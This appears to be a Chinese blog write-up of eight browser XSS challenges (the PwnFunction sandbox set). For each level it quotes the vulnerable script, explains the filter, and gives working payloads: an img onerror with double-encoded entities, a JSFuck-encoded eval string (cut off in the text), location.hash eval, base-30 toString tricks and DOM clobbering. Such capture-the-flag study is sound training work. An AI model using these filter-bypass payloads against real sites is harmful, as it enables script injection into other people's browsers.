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吴恩达2022机器学习专项课程(一) 第一周课程实验:模型表示(Lab_03)

梯梯笔记 2天前 阅读 3
xss前端

环境进入该网站

第一关:Ma Spaghet! 

源码:

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

要求:

分析源码:

在script标签里边,使用get传参的方式给somebody传一个值,如果没有传值,默认传Somebody+Toucha Ma Spaghet!,然后赋值给spaghet,放在h2标签中

这里的spaghet后边加了一个innerHTMl的属性,官方解释

innerHTMLElement.innerHTML 属性设置或获取 HTML 语法表示的元素的后代。icon-default.png?t=N7T8https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML

我们用script插入这里看似插进去了,但是不会执行。所以我们换一个

这样我们就成功绕过

官方给的答案,原理是一样的,只是标签不一样。

第二关:Jefff

源码:

<!-- Challenge -->
<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

要求:

  • Difficulty is Easy.
  • Pop an alert(1337) on sandbox.pwnfunction.com.
  • No user interaction.
  • Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
  • Tested on Chrome.

分析源码:

这里首先使用get传参的方式,给jeff一个值,将值传给let jeff,变量ma然后执行Ma name +jeff传入的值,setTimeout是延时执行ma,这里的ma带了一个ineerText的属性

官方解释

他不会去渲染我们的css样式,意思就是我们在加什么标签之类的东西都不会起效果。所以我们这里只能换一种思路,他不能加标签,那我们看能不能直接闭合ma,之后执行我们的代码

这很明显,我们成功绕过

第三关:Ugandan Knuckles

源码:

<!-- Challenge -->
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

要求还是和之前的一样

分析源码:

还是使用get方式传参;首先是传给wey一个值,然后赋值给变量let wey,然后这里过滤了<>尖括号,最后将我们的变量wey内容传给Uganda,显示在输入框中,Uganda也带一个inner HTML的属性,所以我们不能使用script标签,那就看看其他的思路;

这里使用onfocus 和autofucus 使用焦点的原理,可以使用onfocus获取焦点,再利用autofocus自动获取焦点,所以我们就触发执行代码

第四关:Ricardo Milos

源码:

<!-- Challenge -->
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

分析源码:

使用get方式传参;传一个值给Ricardo,这里的submit是提交,意思是将我们传入的值过两秒传给Ricardo。action是他接受的一个伪协议,这里就使用一下JavaScript

第五关:Ah That's Hawt

源码:

<!-- Challenge -->
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

源码分析:

这里主要是过滤,将()\ 和反引号过滤 ;会将这些符号转化为空

还有inner HTML,所以script也不能用了

不妨试一下用img的报错实现,因为我们的括号被过滤,那么我们可以试下使用实体编码进行绕过

在h2这并没有找到我们插入的标签,这是为什么呢?明明也没有过滤我们的img标签啊

其实是因为url在传参时,会将我们的特殊符号进行解码,但我们传递的是html的实体编码,所以问题出现在了这里,那么我们再将实体编码再进行次url编码

?markassbrownlee=<img%20src=1%20onerror=alert%26%2340%3B1337%26%2341%3B>

第六关:Ligma

源码:

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

这里我们有个技巧,当看到过滤了大小写和数字时,我们使用一个工具就可以直接进行

解决办法:
利用框架绕过:https://jsfuck.com/

他就会用一些符号来表示我们的字符和数字等

这里我们将上边转好的复制输入进去

因为+在url传参时,会解码为空格,所以我们要对这些符号再次编码

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%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第七关:Mafia

源码:

/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

分析源码:

这里还是get方式传参,但是限制我们传入的参数长度最大为50个字节,而且过滤了一大堆东西,最后执行mafia

很明显上一关的方法就不行了

代码漏洞,他过滤了符号和alert函数,但是没有过滤confirm 函数

?mafia=confirm(1)

但很明显,这一题的考察点不在这里

我看了官方给出的3个答案

首先第一个答案:

Function构造了一个ALERT(1337)函数,

source 然后调用函数的源码,就拿到了ALERT(1337),在调用js中的转成小写,最后在加上一个括号就表示执行函数。这样就绕过了上边的限制条件,并且成功执行

第二个:

eval(8680439..toString(30))(1337)

toString()是返回一个函数的字符串,内容是函数的源码

这里返回了一个alert,那我们大胆猜前边的8680439就是的,但是是咋来的呢?其实就是我们的alert使用parseint函数转换成了30进制的一个整数

这里的三十是代表三十进制,因为要想直接显示alert,16进制是从0-9,A-F,所以到T这里就是三十进制了。所以最后执行代码就成功了。

第三个:

eval(location.hash.slice(1))

我们可以看到,location.hash,取到的是url里#后的值,slice函数是分片,可以将#后面的提取到

那么#后面写上alert(1337),前面加上eval(location.hash.slice(1))就可以了

?mafia=eval(location.hash.slice(1))#alert(1337)

第八关:Ok, Boomer

源码:

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

分析:

这道题通过get参数将内容写入h2标签内,而且有过滤框架DOMPurify

DOMPurify防御用户输入框架,会把你的危险属性过滤完了

这个过滤框架由安全团队cure53开发,以我们的技术很难绕过

但是注意setTimeout函数内的ok参数

这里的JS代码是没有任何关于ok参数的定义的,所以我们可以使用DOM破坏

在这里右键--查看源代码会找到这个防御的框架

突破口

setTimeout(ok, 2000)

 这里使用一个dom clobbering称之为dom破坏技术

<a id=ok href=tel:alert(1337)>

举报

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